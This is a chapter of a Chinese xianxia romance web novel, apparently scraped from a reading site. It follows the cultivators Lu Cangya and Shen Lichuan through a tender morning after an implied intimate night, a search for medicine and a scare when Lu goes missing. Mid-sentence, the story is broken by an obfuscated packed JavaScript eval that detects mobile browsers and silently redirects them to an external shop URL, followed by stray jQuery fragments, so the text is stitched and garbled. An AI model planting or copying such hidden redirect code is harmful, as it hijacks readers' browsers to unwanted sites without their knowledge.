“疼……”陆藏鸦偏过头去,如含春水的眼眸一眨不眨地望着沈黎川,“阿黎,这不舒服。”
“很快的,不疼。”沈黎川抬手蒙住了他的眼睛。
陆藏鸦第一次未曾鸡鸣时起床。
他本就困顿,如今被一闹更是烦躁,捂着耳朵就往沈黎川怀里钻。
沈黎川轻轻地吻了一下他的发顶,将他换了个更舒服些的姿势,顺着他的背柔声说道:“好了好了,不听不听。”
陆藏鸦哼唧一声,又紧紧地闭上了眼睛。他的呼吸声绵长而轻柔,偶尔有个小鼻音漏出来,只让人觉得过分可爱。
沈黎川感受着怀中的温度,也又合上了双眸。
是一股焦糊味道唤醒的两人,陆藏鸦使劲儿吸着鼻子,想要寻找味道的源头,可眼睛却如同被浆糊粘住了一般,怎么也睁不开。
瞧着他这一副小犬的模样,沈黎川不禁失笑,没由得捏了捏他的脸颊,安抚道:“我去瞧瞧,你再睡会儿。”
“嗯……”陆藏鸦拉了拉他的手,无意识地晃了几下,又哼唧出句话,“那你去吧。”
沈黎川将被角给他掖好,出门便瞧见烧着了的正是昨日他拎回来那个盛满了桂花糕的木匣子。昨夜回来的急迫,木匣子就被随手扔在了石桌上,不知何时地上又扔了一面镜子,正午的阳光一照,竟把其点燃了。
寒光自冰魂链而出,将火光瞬间熄灭。
沈黎川不禁摇头,回去便瞧见陆藏鸦把自己整个人蜷缩在锦被之中,一丝气口都不给自己留。
他掀开被子衣角,就看着某个小傻子憋得满脸通红,张着朱红的小嘴正努力大口大口呼吸着的模样。
“该起床了。”
陆藏鸦才不理他,全当自己听不见。
沈黎川轻咳一声,将方才的悲剧全同他说:“你的桂花糕被烧了,吃不上了。”
“什么?!”陆藏鸦当即便不困顿了,一个激灵就坐了起来,眼睛瞪得浑圆,一脸的不可置信,咬牙切齿道,“谁烧得我的桂花糕!他怎么这么坏,这么讨人厌!要是让我知道是谁,我定饶不了他,我要让他赔我三匣子。哎!——”
他一动,便扯到了后腰,瞬间肌肉的酸痛席卷了他,让他顿时僵在了原地。他皱着眉头,好半晌才缓和了过来,语出惊人:“阿黎,这个好生痛啊,那……唔唔,你捂我嘴作甚!你也是坏人,哼,我不要喜欢你了!”
他第一回这么生气,想来真是痛狠了。又狠狠地咬了沈黎川一口,这才算罢休。
沈黎川目光所及之处,如雪后红梅,点点斑驳。他的喉头一紧,指尖不由自主地抚了上去。
那些……都是他留下的。
“嘶——”陆藏鸦倒吸了一口凉气,嘴巴撅得可高,明显一副要沈黎川哄他的姿态。
沈黎川的指尖如被烫到般骤然抽回。可那滚烫却顺着指尖,烧到了他的心房。他心底的愧疚愈发浓重。本就是他一时不查遭人暗算,又当真对着陆藏鸦忍耐不住,才叫陆藏鸦遭了罪。
“抱歉,小痴。”他深吸了口气,“下次不会了。”
他转身欲走,想着再去给陆藏鸦寻上几匣子点心,却觉手腕被人用力拽住。
陆藏鸦小声嘟囔着,手上力度却愈发大了:“我就是……就是随口一说,没有不喜欢你,你别丢下我,你别走。”
“我不走。”沈黎川笃定,“我去瞧瞧有什么好克化的食物,寻些来给你尝尝。”
“真不走?”陆藏鸦仰着小脸,满眼不信。
“你还在这,我又能去哪?”这话说完,倒叫他有些羞赧。
陆藏鸦心中欢喜极了,又忘却自己的疼痛,扑上前就要抱住他。
沈黎川给他按在原地:“快莫要动了,我再去找些药来……给你上一下。”
“哦。”陆藏鸦抱着被角乖顺点头,眼巴巴的。
沈黎川蓦地冒出句话:“你上辈子,许是只灵兽。”
陆藏鸦不解,但他觉得自己反应过来了:“啊?你是不是也说我傻!”
先前放灵药的地方,已被鱼妖搜罗一空。想着孙长老并不待见自己的模样,沈黎川没那般上赶着去讨人嫌。
犹豫片刻,他绕去了重玄峰外。
那些个弟子常日里也并不与他说话,见到他多是低头便走。
静立了许久,倒是瞧见个熟悉的身影,正是那日见过一面的闫宁。
闫宁一袭白衣,端的是出尘模样,可搁在沈黎川那自有一股孤高傲然性子身侧,却是黯然失色了。
他看见沈黎川便想走,是半分也不想再沾上和陆藏鸦有关的晦气。
没成想,沈黎川瞧着不紧不慢,没几步就赶上了他,拱手道:“闫师兄。”
闫宁只能勉强扯出个笑意:“沈师弟,可巧,你有什么事吗?”
沈黎川言简意赅地提了需求,脸上虽是挂着几分窘迫,但话也说得清楚。闫宁与他迅速取好了灵药,将他送走后,尚还有些恍惚。
当真如此容易?没旁的弯弯绕绕了?真和陆藏鸦不是一个路子?
他深吸了一口气,忽而意识到沈黎川身上笼着一股浓郁的专属于陆藏鸦的冷梅香气。一挑眉,转头就寻陆重山说他俩之间的关系去了。
沈黎川回去的时候,陆藏鸦并不在屋中。他沿着整个朝霖峰找了好大一圈,都没瞧见陆藏鸦的身影。
落英派难不成还有后手?还是那什么劳什子的业魔君动手了?
他要怎么救他?他会不会死?
他……怎么才能不失去陆藏鸦?
他心中过了无数不好的念头,转头什么都不顾,将自己不多的灵力尽数渡入双腿之中便要折返重玄峰,即刻寻陆重山去。
却在刚出朝霖峰之时,迎头撞上了个人。
“哎哟!”陆藏鸦险些一屁股跌坐在地,好在被听出声音的沈黎川一把捞了回来,紧紧地按进怀里。
沈黎川就那样紧紧的,如同想要将他揉进骨血般,将他按进了自己的怀中。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17948367|213384||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
阿黎,你怎么了?”陆藏鸦被箍得有几分难受,推搡了两下未曾推开,便也不动了。
他任由沈黎川汲取着他身上的温度,虽有些莫名其妙,但学着那些个哄人的法子,轻轻地拍了拍沈黎川的背。
而后,便觉有滚烫的水滴落在他的肩头。
“下雨了吗?”他不解,掀起眼皮看天,仍是晴朗湛蓝一片,“阿黎,是你哭了吗?”
沈黎川长长地吸了一口气,他声音发闷:“没有。你去哪了?”
他很害怕。
害怕那个他愧对的,还未曾弥补过的人,就这般消失在他的生命中。
他不知道自己心底那些酸涩的情愫到底是什么,可此刻,好像也没那般重要了。
只要陆藏鸦还在,就好。
沈黎川轻笑了一声,随即大笑着松开了陆藏鸦。
陆藏鸦被他吓了一跳,呆愣在原地半晌,才颤颤巍巍地捅了他一下,问道:“阿黎,你、你怎么了?你疯了吗?你别吓唬我!我、我有药,我去找宗主,我我……”
他都有些结巴了,抬眼看见折妄静静地躺在一遍。他甚至想,沈黎川是不是魇住了?怎么这会子好生奇怪。要不然他也像是昨夜那般,敲沈黎川一下,许是晕过去后,醒来就好了。
实在实在不行……他一咬牙,就要给自己手腕划破:“阿黎,你喝我点血吧,喝了你就正常了!”
沈黎川的笑意暂止,伸手捏了捏陆藏鸦的脸颊。不再似是往日那般轻柔的,他用了力的。
“你干嘛呀!”陆藏鸦显然被掐疼了,眼底都泛起了泪花,“我不管你是什么,你、你赶紧从我家阿黎身上下来!”
他已是手中蓄起了灵力,口中念念有词,下一瞬间法诀便要沈黎川身上了。
“我没事,当真没事。”沈黎川恢复了如常神色,“你还未说,你方才去何处了?”
陆藏鸦眼睛瞬间亮起:“我同你说,这双修当真好!我方才还觉得身上这里疼那里痛的,但打坐灵气运行一周天后,就浑身舒爽了,经脉都畅通了,我甚至觉得我不日便能入大乘境了呢。但灵力太盛,我也需得纾解出去,我就跑到后山那边去捞鱼啦,你瞧,又有几尾。”
“阿黎,这比前几日那次的效果还要好!日后我们时常如此这般,好不好嘛?”他摇着沈黎川的手臂,晃了一下又一下。
沈黎川就由着他:“好。鱼先养起来,待过上几日,我再烹了给你吃,可好?”
他格外兴奋,妄图蹦上几下,又被沈黎川拉住:“回房间,我去给你上药。”
陆藏鸦乖乖地趴着,扭着头看沈黎川将灵草捣成药泥,而后被细致地涂抹在他的“伤处”。
他又求一次,待沈黎川甫要倾身之时,却忽觉自己如同吞了万千冰块,五脏六腑都寒意浸透了。即便他本就性寒,那种从骨子里透出的冷,依旧生硬地刮着他的血肉,仿若将他的三魂七魄都剥离。太痛了。
陆藏鸦惊慌失措:“阿黎,你怎么了?你别吓我!”